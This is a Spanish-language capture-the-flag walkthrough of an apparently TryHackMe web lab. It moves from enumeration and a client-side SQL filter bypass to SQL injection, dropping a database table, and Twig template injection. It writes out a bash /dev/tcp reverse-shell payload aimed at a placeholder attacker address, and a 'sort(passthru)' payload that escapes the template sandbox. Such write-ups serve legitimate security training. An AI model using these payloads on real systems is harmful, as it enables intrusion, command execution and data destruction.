Getting the Flags
-
Vamos a empezar como siempre, con escaneos:
- Primero un escaneo a la IP, general.

- Luego un escaneo más profundo a aquellos puertos abiertos.

- Seguimos con enumeración de directorios.

- Vamos a buscar archivos comunes, para ello usamos
dirsearchque ya prueba algunas extensiones comunes por defecto.
- Miramos el código fuente.
Parece que hemos encontrado un email válido y el archivo donde se guardan estos.
- Primero un escaneo a la IP, general.
-
Ahora que tenemos unos cuantos directorios vamos a recopilar información de la aplicación web.
- Empezando por el archivo
robots.txt.
No existe por lo que ya lo descartamos. - Vamos a ver qué hay en la página principal.

- Si buscamos en estos botones, todos nos llevan a
#menosLoginque nos lleva alogin.php.
Volveremos aquí más tarde. - Vamos a ver qué vemos por los directorios que habíamos sacado del escaneo de directorios.
La página phpmyadmines la única que no aparece403 Forbidden.
- Empezando por el archivo
-
Si miramos algunos de los archivos que encontramos con
dirsearchencontramos lo siguiente.
Parece que hemos encontrado el framework de la web. -
Vamos a investigar la página
login.php.- Si le damos a
Login as Admin, nos lleva a la páginaadminLogin007.php.
- Vamos a intentar iniciar sesión en el login normal y ver que pasa con Burp Suite.
Salta esto y ni siquiera llega a salir del cliente. - Si investigamos un poco podemos llegar hasta el JS que hace que salte esta alerta.
Aquí podemos ver que si esas palabras están contenidas no nos dejará acceder ni siquiera a la petición de login, al haber puesto "normal" está cogiendo el "or" dentro de esta. - Cambiamos el Email y volvemos a probar.

- Ahora que ya tenemos la petición, vamos a jugar en Burp Suite.
- Lo primero vamos a ver si el filtro de "OR" está sólo del lado del cliente.
Hemos puesto "pruebanormal" y nos sale lo mismo que en la petición de arriba, por lo que parece que sí, sólo era un filtro del lado del cliente. - Vamos a probar a enviar ahora una petición con un correo real:
dev@injectics.thm.
Parece que no podemos obtener información de aquí.
- Lo primero vamos a ver si el filtro de "OR" está sólo del lado del cliente.
- Si le damos a
-
Si recordamos el escaneo, había un archivo donde se guardaban los correos:
mail.log
Estas credenciales sólo valdrían si algo le pasara a la tabla userspor lo que no nos valen. -
Vamos a probar diferentes payloads de alguna lista de github en el Intruder de Burp Suite. Primero probaremos en el campo email.

-
Después de esperar un poco obtenemos el payload.

-
Cambiamos la cookie de sesión
PHPSESSIDal valor hecho en la petición validada y vamos al endpoint que nos marca la respuesta.
-
Si recordamos lo que decía la página de
mail.logera que si algo le pasaba a la tablausersse habilitarían las cuentas que aparecían allí. Vamos a editar alguna entrada y a corroborar esto.
Después de hacer esto e intentar loguearnos como admin parece que nada cambia. -
Vamos a intentar introducir un cambio con una query (ataque de segundo orden SQLi).
Parece que hay validación, vamos a cambiar el payload. -
Probamos ahora a quitar las comillas.
Parece que ahora sí nos deja.
Y encima se han cambiado todos los oros. -
Vamos a borrar la base de datos, por lo que decía en el email.

-
Vamos ahora a iniciar sesión como admin.

-
Si recordamos el análisis, el motor de plantillas era twig que permite crear dinamismo mediante etiquetas como
{{ }}.
-
Parece que es susceptible de SSTI.

-
Si probamos ahora a poner
{{ system("ls") }}, nos salta con:
-
Encontramos la forma de mandarnos una reverse shell
{{ ["bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO_ATACANTE 0>&1'"] | map("system") | join }}.- Nos ponemos en escucha.

- Metemos el payload en la plantilla.

- Por desgracia nos salta un error.

- Nos ponemos en escucha.
-
Después de mucho quebradero de cabeza y de darnos cuenta de que estamos en una sandbox con restricciones (debido a que
passthrulo pone), llegamos a un payload que funciona:{{['id','']|sort('passthru')}}. Aquí creamos un array así['id', '']. Después con sort especificamos la función de ordenado, pero esto no comprueba que sea una función de ordenado, solo lo intenta ejecutar. Passthru en PHP ejecuta un comando del sistema operativo y muestra su salida sin procesar.

-
Listamos el directorio
/flagssustituyendoidporls flags.
-
Leemos el documento.

-
Obtenemos la flag.

